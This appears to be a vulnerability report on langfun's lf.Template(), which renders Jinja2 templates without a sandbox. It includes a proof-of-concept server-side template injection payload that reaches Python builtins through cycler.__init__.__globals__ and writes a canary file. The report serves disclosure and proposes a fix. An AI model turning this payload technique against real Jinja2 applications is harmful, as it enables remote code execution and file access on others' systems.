Security: RCE via Server-Side Template Injection in lf.Template()

[Texuguinho1234]

Summary

lf.Template() uses jinja2.Template() without SandboxedEnvironment,
allowing arbitrary code execution when template strings originate
from untrusted sources.

This is the same vulnerability class as #725 (CVE-2026-75062) reported by @thegr1ffyn.

Minimal Reproduction

import os, pathlib, tempfile
import langfun as lf

CANARY = pathlib.Path(tempfile.gettempdir()) / f"lf_ssti_{os.getpid()}"
if CANARY.exists(): CANARY.unlink()

canary_path = str(CANARY).replace('\\', '/')
payload = f"{{{{ cycler.__init__.__globals__['__builtins__']['open']('{canary_path}','w').write('hit') }}}}"

t = lf.Template(payload)
t.render()

print("canary written:", CANARY.exists())  
if CANARY.exists(): CANARY.unlink()

Impact

• Remote Code Execution
• Read/write arbitrary files
• Execute system commands

Suggested Fix

Use SandboxedEnvironment()

Related

• Security: default lf.query Python protocol executes model output via exec() (CWE-94/95) #725 (CVE-2026-75062)